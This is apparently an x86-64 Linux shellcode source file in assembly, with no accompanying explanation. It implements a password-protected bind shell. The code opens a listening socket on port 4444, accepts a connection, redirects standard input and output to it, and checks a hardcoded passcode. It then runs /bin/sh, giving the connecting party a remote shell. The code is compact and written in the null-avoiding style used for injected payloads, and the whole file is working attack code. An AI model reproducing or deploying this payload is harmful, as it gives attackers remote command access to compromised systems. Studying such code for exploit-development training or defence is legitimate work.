global _start
 
_start:
 
    ; sock = socket(AF_INET, SOCK_STREAM, 0)
    ; AF_INET = 2
    ; SOCK_STREAM = 1
    ; syscall number 41 
 
    push 41
    pop rax
    push 2
    pop rdi
    push 1
    pop rsi
    cdq
    syscall
     
    ; copy socket descriptor to rdi for future use 
 
    xchg rdi,rax
 
    ; server.sin_family = AF_INET 
    ; server.sin_port = htons(PORT)
    ; server.sin_addr.s_addr = INADDR_ANY
    ; bzero(&server.sin_zero, 8)
 
    push rdx
    mov dx,0x5c11
    shl rdx,16
    xor dl,0x2
    push rdx
 
    ; bind(sock, (struct sockaddr *)&server, sockaddr_len)
    ; syscall number 49
 
    mov rsi, rsp
    mov al,49
    push 16
    pop rdx
    syscall
 
    ; listen(sock, MAX_CLIENTS)
    ; syscall number 50
 
    push 50
    pop rax
    push 2
    pop rsi
    syscall
 
    ; new = accept(sock, (struct sockaddr *)&client, &sockaddr_len)
    ; syscall number 43
 
    mov al,43
    sub rsp,16
    mov rsi,rsp
    push 16
    mov rdx,rsp
    syscall
 
    ; close parent
    ;push 3
    ;pop rax
    ;syscall
 
    ; duplicate sockets
 
    ; dup2 (new, old)
    xchg rdi,rax
    push 3
    pop rsi
dup2cycle:
    mov al, 33
    dec esi
    syscall
    loopnz dup2cycle
 
    ; read passcode
    ; xor rax,rax - already zeroed from prev cycle
    xor rdi,rdi
    push rax
    mov rsi,rsp
    push 8
    pop rdx
    syscall
 
    ; Authentication with password "1234567"
    xchg rcx,rax
    mov rbx,0x0a37363534333231
    push rbx
    mov rdi,rsp
    repe cmpsb
    jnz wrong_pwd
 
    ; execve stack-method
 
    push 59
    pop rax
    cdq ; extends rax sign into rdx, zeroing it out
    push rdx
    mov rbx,0x68732f6e69622f2f
    push rbx
    mov rdi,rsp
    push rdx
    mov rdx,rsp
    push rdi
    mov rsi,rsp
    syscall
 
wrong_pwd:
    nop